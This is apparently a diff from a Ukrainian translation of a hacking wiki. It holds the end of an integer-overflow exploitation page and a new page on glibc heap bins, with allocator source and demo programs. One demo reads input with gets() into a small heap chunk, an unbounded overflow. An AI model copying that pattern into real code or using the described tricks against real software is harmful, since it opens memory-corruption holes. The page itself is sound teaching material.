У цьому прикладі, якщо користувач вводить від'ємне число, воно буде інтерпретовано як велике беззнакове ціле через спосіб інтерпретації бінарних значень, що потенційно може призвести до непередбачуваної поведінки.
|
||||
|
||||
### Інші Приклади
|
||||
|
||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
|
||||
* Лише 1B використовується для зберігання розміру пароля, тому можливе переповнення та змушення його вважати довжиною 4, хоча насправді вона 260, щоб обійти захист перевірки довжини
|
||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
|
||||
* Задано кілька чисел, знайдіть за допомогою z3 нове число, яке помножене на перше, дасте друге: 
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
* Лише 1B використовується для зберігання розміру пароля, тому можливе переповнення та змушення його вважати довжиною 4, хоча насправді вона 260, щоб обійти захист перевірки довжини та перезаписати на стек наступну локальну змінну та обійти обидва захисти
|
||||
|
||||
## ARM64
|
||||
|
||||
Це **не змінюється в ARM64**, як можна побачити в [**цьому блозі**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
621
binary-exploitation/libc-heap/bins-and-memory-allocations.md
Normal file
621
binary-exploitation/libc-heap/bins-and-memory-allocations.md
Normal file
|
@ -0,0 +1,621 @@
|
|||
# Біни та розподіл пам'яті
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Для покращення ефективності зберігання блоків кожен блок не зберігається лише в одному зв'язаному списку, а існує кілька типів. Це біни, існує 5 типів бінів: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) малих бінів, 63 великих бінів, 1 неупорядкований бін, 10 швидких бінів та 64 біни tcache на кожен потік.
|
||||
|
||||
Початкова адреса кожного неупорядкованого, малого та великого бінів знаходиться в одному масиві. Індекс 0 не використовується, 1 - це неупорядкований бін, біни 2-64 - це малі біни, а біни 65-127 - це великі біни.
|
||||
|
||||
### Біни кешу Tcache (для кожного потоку)
|
||||
|
||||
Навіть якщо потоки намагаються мати свій власний стек (див. [Арени](bins-and-memory-allocations.md#arenas) та [Підстеки](bins-and-memory-allocations.md#subheaps)), існує можливість того, що процес з великою кількістю потоків (наприклад, веб-сервер) **закінчиться спільним стеком з іншими потоками**. У цьому випадку основним рішенням є використання **замків**, які можуть **значно уповільнити роботу потоків**.
|
||||
|
||||
Отже, tcache схожий на швидкий бін на кожен потік тим, що це **однозв'язний список**, який не об'єднує блоки. Кожен потік має **64 однозв'язних біни tcache**. Кожен бін може містити максимум [7 блоків однакового розміру](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) від [24 до 1032 байт на 64-бітних системах та від 12 до 516 байт на 32-бітних системах](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
|
||||
|
||||
Коли потік вивільняє блок, **якщо він не занадто великий** для виділення в tcache та відповідний бін tcache **не заповнений** (вже 7 блоків), **він буде виділений туди**. Якщо він не може перейти до tcache, йому доведеться зачекати, поки стек буде розблокований, щоб виконати операцію вивільнення глобально.
|
||||
|
||||
Коли **блок виділяється**, якщо є вільний блок потрібного розміру в **Tcache, він використовує його**, якщо немає, йому доведеться зачекати, поки стек буде розблокований, щоб знайти його в глобальних бінах або створити новий.\
|
||||
Тут також є оптимізація, в цьому випадку, під час блокування стеку, потік **заповнить свій Tcache блоками стеку (7) потрібного розміру**, тому в разі потреби він знайде їх в Tcache.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Приклад додавання блоку tcache</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunk;
|
||||
chunk = malloc(24);
|
||||
printf("Address of the chunk: %p\n", (void *)chunk);
|
||||
gets(chunk);
|
||||
free(chunk);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Зкомпілюйте його та відлагодьте його з точкою зупинки в опкоді ret з функції main. Потім за допомогою gef ви можете побачити використання біна tcache:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
```
|
||||
#### Структури та Функції Tcache
|
||||
|
||||
У наступному коді можна побачити **максимальні біни** та **частки на індекс**, створену структуру **`tcache_entry`** для уникнення подвійних вивільнень та **`tcache_perthread_struct`**, структуру, яку кожен потік використовує для зберігання адрес кожного індексу біна.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>tcache_entry</code> та <code>tcache_perthread_struct</code></summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
|
||||
|
||||
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
|
||||
# define TCACHE_MAX_BINS 64
|
||||
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)
|
||||
|
||||
/* Only used to pre-fill the tunables. */
|
||||
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
|
||||
|
||||
/* When "x" is from chunksize(). */
|
||||
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
|
||||
/* When "x" is a user-provided size. */
|
||||
# define usize2tidx(x) csize2tidx (request2size (x))
|
||||
|
||||
/* With rounding and alignment, the bins are...
|
||||
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
|
||||
idx 1 bytes 25..40 or 13..20
|
||||
idx 2 bytes 41..56 or 21..28
|
||||
etc. */
|
||||
|
||||
/* This is another arbitrary limit, which tunables can change. Each
|
||||
tcache bin will hold at most this number of chunks. */
|
||||
# define TCACHE_FILL_COUNT 7
|
||||
|
||||
/* Maximum chunks in tcache bins for tunables. This value must fit the range
|
||||
of tcache->counts[] entries, else they may overflow. */
|
||||
# define MAX_TCACHE_COUNT UINT16_MAX
|
||||
|
||||
[...]
|
||||
|
||||
typedef struct tcache_entry
|
||||
{
|
||||
struct tcache_entry *next;
|
||||
/* This field exists to detect double frees. */
|
||||
uintptr_t key;
|
||||
} tcache_entry;
|
||||
|
||||
/* There is one of these for each thread, which contains the
|
||||
per-thread cache (hence "tcache_perthread_struct"). Keeping
|
||||
overall size low is mildly important. Note that COUNTS and ENTRIES
|
||||
are redundant (we could have just counted the linked list each
|
||||
time), this is for performance reasons. */
|
||||
typedef struct tcache_perthread_struct
|
||||
{
|
||||
uint16_t counts[TCACHE_MAX_BINS];
|
||||
tcache_entry *entries[TCACHE_MAX_BINS];
|
||||
} tcache_perthread_struct;
|
||||
```
|
||||
</details>
|
||||
|
||||
Функція `__tcache_init` - це функція, яка створює та виділяє простір для об'єкта `tcache_perthread_struct`
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
|
||||
|
||||
static void
|
||||
tcache_init(void)
|
||||
{
|
||||
mstate ar_ptr;
|
||||
void *victim = 0;
|
||||
const size_t bytes = sizeof (tcache_perthread_struct);
|
||||
|
||||
if (tcache_shutting_down)
|
||||
return;
|
||||
|
||||
arena_get (ar_ptr, bytes);
|
||||
victim = _int_malloc (ar_ptr, bytes);
|
||||
if (!victim && ar_ptr != NULL)
|
||||
{
|
||||
ar_ptr = arena_get_retry (ar_ptr, bytes);
|
||||
victim = _int_malloc (ar_ptr, bytes);
|
||||
}
|
||||
|
||||
|
||||
if (ar_ptr != NULL)
|
||||
__libc_lock_unlock (ar_ptr->mutex);
|
||||
|
||||
/* In a low memory situation, we may not be able to allocate memory
|
||||
- in which case, we just keep trying later. However, we
|
||||
typically do this very early, so either there is sufficient
|
||||
memory, or there isn't enough memory to do non-trivial
|
||||
allocations anyway. */
|
||||
if (victim)
|
||||
{
|
||||
tcache = (tcache_perthread_struct *) victim;
|
||||
memset (tcache, 0, sizeof (tcache_perthread_struct));
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
#### Індекси Tcache
|
||||
|
||||
Tcache має кілька блоків в залежності від розміру та початкові вказівники на **перший фрагмент кожного індексу та кількість фрагментів на кожен індекс розташовані всередині фрагмента**. Це означає, що знаходячи фрагмент з цією інформацією (зазвичай перший), можна знайти всі початкові точки tcache та кількість фрагментів Tcache.
|
||||
|
||||
### Швидкі блоки
|
||||
|
||||
Швидкі блоки призначені для **прискорення виділення пам'яті для невеликих фрагментів**, тримаючи недавно звільнені фрагменти в швидкодійній структурі. Ці блоки використовують підхід "Останнім прийшов - першим вийшов" (LIFO), що означає, що **останній звільнений фрагмент перший**, який буде використаний при новому запиті на виділення. Ця поведінка є вигідною для швидкості, оскільки швидше вставляти та видаляти з верхушки стеку (LIFO) порівняно з чергою (FIFO).
|
||||
|
||||
Крім того, **швидкі блоки використовують однозв'язні списки**, а не двозв'язні, що подальше покращує швидкість. Оскільки фрагменти в швидких блоках не об'єднуються з сусідніми, немає потреби в складній структурі, яка дозволяє видалення з середини. Однозв'язний список є простішим та швидшим для цих операцій.
|
||||
|
||||
Основна ідея полягає в тому, що заголовок (вказівник на перший фрагмент для перевірки) завжди вказує на останній звільнений фрагмент такого розміру. Таким чином:
|
||||
|
||||
* Коли виділяється новий фрагмент такого розміру, заголовок вказує на вільний фрагмент для використання. Оскільки цей вільний фрагмент вказує на наступний для використання, ця адреса зберігається в заголовку, щоб наступне виділення знало, де отримати доступний фрагмент.
|
||||
* Коли фрагмент звільняється, вільний фрагмент збереже адресу поточного доступного фрагмента, а адреса цього ново звільненого фрагмента буде поміщена в заголовок.
|
||||
|
||||
Максимальний розмір зв'язаного списку - `0x80`, і вони організовані так, що фрагмент розміром `0x20` буде в індексі `0`, фрагмент розміром `0x30` буде в індексі `1`...
|
||||
|
||||
{% hint style="danger" %}
|
||||
Фрагменти в швидких блоках не встановлені як доступні, тому вони залишаються як швидкі блоки протягом певного часу замість можливості об'єднання з іншими вільними фрагментами, які оточують їх.
|
||||
{% endhint %}
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
/*
|
||||
Fastbins
|
||||
|
||||
An array of lists holding recently freed small chunks. Fastbins
|
||||
are not doubly linked. It is faster to single-link them, and
|
||||
since chunks are never removed from the middles of these lists,
|
||||
double linking is not necessary. Also, unlike regular bins, they
|
||||
are not even processed in FIFO order (they use faster LIFO) since
|
||||
ordering doesn't much matter in the transient contexts in which
|
||||
fastbins are normally used.
|
||||
|
||||
Chunks in fastbins keep their inuse bit set, so they cannot
|
||||
be consolidated with other free chunks. malloc_consolidate
|
||||
releases all chunks in fastbins and consolidates them with
|
||||
other free chunks.
|
||||
*/
|
||||
|
||||
typedef struct malloc_chunk *mfastbinptr;
|
||||
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
|
||||
|
||||
/* offset 2 to use otherwise unindexable first 2 bins */
|
||||
#define fastbin_index(sz) \
|
||||
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
|
||||
|
||||
|
||||
/* The maximum fastbin request size we support */
|
||||
#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)
|
||||
|
||||
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Додати приклад швидкого блоку fastbin</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[8];
|
||||
int i;
|
||||
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 8; i++) {
|
||||
chunks[i] = malloc(24);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Примітка, як ми виділяємо та звільняємо 8 частин однакового розміру, щоб вони заповнили tcache, а восьма зберігається в швидкій частині.
|
||||
|
||||
Скомпілюйте його та відлагодьте його з точкою зупинки в опкоді `ret` з функції `main`. Потім за допомогою `gef` ви можете побачити, що бін tcache повний, і один чанк знаходиться в швидкому біні:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1750, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1730, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1710, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac16f0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac16d0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
|
||||
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
Fastbins[idx=1, size=0x30] 0x00
|
||||
```
|
||||
</details>
|
||||
|
||||
### Невідсортований бін
|
||||
|
||||
Невідсортований бін - це **кеш**, який використовує менеджер купи для прискорення виділення пам'яті. Ось як це працює: коли програма звільняє фрагмент, і якщо цей фрагмент не може бути виділений в tcache або fast bin і не конфліктує з верхнім фрагментом, менеджер купи не відразу поміщає його в певний малий або великий бін. Замість цього він спочатку намагається **об'єднати його з будь-якими сусідніми вільними фрагментами**, щоб створити більший блок вільної пам'яті. Потім він поміщає цей новий фрагмент в загальний бін, який називається "невідсортований бін".
|
||||
|
||||
Коли програма **потребує пам'яті**, менеджер купи **перевіряє невідсортований бін**, щоб побачити, чи є там достатньо великий фрагмент. Якщо він знаходить один, він використовує його відразу. Якщо не знаходить підходящого фрагмента в невідсортованому біні, він переміщає всі фрагменти у цьому списку до відповідних бінів, або малих, або великих, в залежності від їх розміру.
|
||||
|
||||
Зверніть увагу, що якщо більший фрагмент розбивається на 2 половини, і решта більша за MINSIZE, його буде повернуто назад у невідсортований бін.
|
||||
|
||||
Отже, невідсортований бін - це спосіб прискорити виділення пам'яті шляхом швидкого повторного використання недавно звільненої пам'яті та зменшення потреби в часовитратних пошуках та об'єднаннях.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Зверніть увагу, що навіть якщо фрагменти належать до різних категорій, якщо доступний фрагмент конфліктує з іншим доступним фрагментом (навіть якщо вони початково належать до різних бінів), вони будуть об'єднані.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Додати приклад невідсортованого фрагмента</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[9];
|
||||
int i;
|
||||
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 9; i++) {
|
||||
chunks[i] = malloc(0x100);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Зверніть увагу на те, як ми виділяємо та звільняємо 9 чанків однакового розміру, щоб вони **заповнили tcache**, а восьмий зберігається в неупорядкованому блоці, оскільки він **занадто великий для fastbin**, і дев'ятий не звільнений, тому дев'ятий та восьмий **не об'єднуються з верхнім чанком**.
|
||||
|
||||
Скомпілюйте його та відлагодьте з точкою зупинки в опкоді `ret` з функції `main`. Потім за допомогою `gef` ви можете побачити, що бін tcache повний, і один чанк знаходиться в неупорядкованому блоці:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
Tcachebins[idx=15, size=0x110, count=7] ← Chunk(addr=0xaaaaaaac1d10, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1c00, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1af0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac19e0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac18d0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac17c0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac12a0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
|
||||
Fastbins[idx=0, size=0x20] 0x00
|
||||
Fastbins[idx=1, size=0x30] 0x00
|
||||
Fastbins[idx=2, size=0x40] 0x00
|
||||
Fastbins[idx=3, size=0x50] 0x00
|
||||
Fastbins[idx=4, size=0x60] 0x00
|
||||
Fastbins[idx=5, size=0x70] 0x00
|
||||
Fastbins[idx=6, size=0x80] 0x00
|
||||
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
|
||||
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
|
||||
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[+] Found 1 chunks in unsorted bin.
|
||||
```
|
||||
</details>
|
||||
|
||||
### Малі біни
|
||||
|
||||
Малі біни швидші за великі біни, але повільніші за швидкі біни.
|
||||
|
||||
Кожен бін з 62 матиме **частини одного розміру**: 16, 24, ... (з максимальним розміром 504 байти в 32-бітних системах та 1024 в 64-бітних). Це допомагає прискорити пошук біна, де має бути виділено місце, а також вставку та видалення записів у цих списках.
|
||||
|
||||
Ось як розраховується розмір малого біна в залежності від індексу біна:
|
||||
|
||||
* Найменший розмір: 2\*4\*індекс (наприклад, індекс 5 -> 40)
|
||||
* Найбільший розмір: 2\*8\*індекс (наприклад, індекс 5 -> 80)
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
#define NSMALLBINS 64
|
||||
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
|
||||
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > CHUNK_HDR_SZ)
|
||||
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
|
||||
|
||||
#define in_smallbin_range(sz) \
|
||||
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
|
||||
|
||||
#define smallbin_index(sz) \
|
||||
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
|
||||
+ SMALLBIN_CORRECTION)
|
||||
```
|
||||
Функція для вибору між малими та великими блоками:
|
||||
```c
|
||||
#define bin_index(sz) \
|
||||
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Додати приклад невеликого шматка</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[10];
|
||||
int i;
|
||||
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 9; i++) {
|
||||
chunks[i] = malloc(0x100);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
|
||||
chunks[9] = malloc(0x110);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Зверніть увагу на те, як ми виділяємо та звільняємо 9 частин однакового розміру, щоб **заповнити tcache**, і восьма зберігається в неупорядкованому блоці, оскільки вона **занадто велика для fastbin**, а дев'ята не звільнена, тому дев'ята та восьма **не об'єднуються з верхнім блоцом**. Потім ми виділяємо більший блоць розміром 0x110, що призводить до того, що **блок в неупорядкованому блоці переходить до small bin**.
|
||||
|
||||
Скомпілюйте це та відлагодьте його з точкою зупинки в опкоді `ret` з функції `main`. Потім за допомогою `gef` ви можете побачити, що бін tcache повний, і один блок знаходиться в small bin:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
Tcachebins[idx=15, size=0x110, count=7] ← Chunk(addr=0xaaaaaaac1d10, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1c00, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1af0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac19e0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac18d0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac17c0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac12a0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
|
||||
Fastbins[idx=0, size=0x20] 0x00
|
||||
Fastbins[idx=1, size=0x30] 0x00
|
||||
Fastbins[idx=2, size=0x40] 0x00
|
||||
Fastbins[idx=3, size=0x50] 0x00
|
||||
Fastbins[idx=4, size=0x60] 0x00
|
||||
Fastbins[idx=5, size=0x70] 0x00
|
||||
Fastbins[idx=6, size=0x80] 0x00
|
||||
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
|
||||
[+] Found 0 chunks in unsorted bin.
|
||||
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
|
||||
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
|
||||
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[+] Found 1 chunks in 1 small non-empty bins.
|
||||
```
|
||||
</details>
|
||||
|
||||
### Великі біни
|
||||
|
||||
На відміну від малих бінів, які керують частинами фіксованих розмірів, **кожен великий бін обробляє діапазон розмірів частин**. Це більш гнучко, дозволяючи системі пристосовуватися до **різних розмірів** без необхідності окремого біна для кожного розміру.
|
||||
|
||||
У розподільчій пам'яті великі біни починаються там, де закінчуються малі біни. Діапазони для великих бінів поступово збільшуються, що означає, що перший бін може охоплювати частини від 512 до 576 байтів, тоді як наступний охоплює від 576 до 640 байтів. Ця модель продовжується, і найбільший бін містить всі частини понад 1 МБ.
|
||||
|
||||
Великі біни повільніше працюють порівняно з малими бінами, оскільки їм потрібно **сортувати та шукати через список різних розмірів частин, щоб знайти найкраще відповідне** для виділення. Коли частина вставляється в великий бін, її потрібно відсортувати, а коли виділяється пам'ять, системі потрібно знайти відповідну частину. Ця додаткова робота робить їх **повільнішими**, але оскільки великі виділення менш поширені, це прийнятний компроміс.
|
||||
|
||||
Є:
|
||||
|
||||
* 32 біни діапазону 64 байти (збігаються з малими бінами)
|
||||
* 16 бінів діапазону 512 байтів (збігаються з малими бінами)
|
||||
* 8 бінів діапазону 4096 байтів (частково збігаються з малими бінами)
|
||||
* 4 біни діапазону 32768 байтів
|
||||
* 2 біни діапазону 262144 байти
|
||||
* 1 бін для залишкових розмірів
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Код розмірів великих бінів</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
#define largebin_index_32(sz) \
|
||||
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
|
||||
#define largebin_index_32_big(sz) \
|
||||
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
|
||||
// XXX It remains to be seen whether it is good to keep the widths of
|
||||
// XXX the buckets the same or whether it should be scaled by a factor
|
||||
// XXX of two as well.
|
||||
#define largebin_index_64(sz) \
|
||||
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
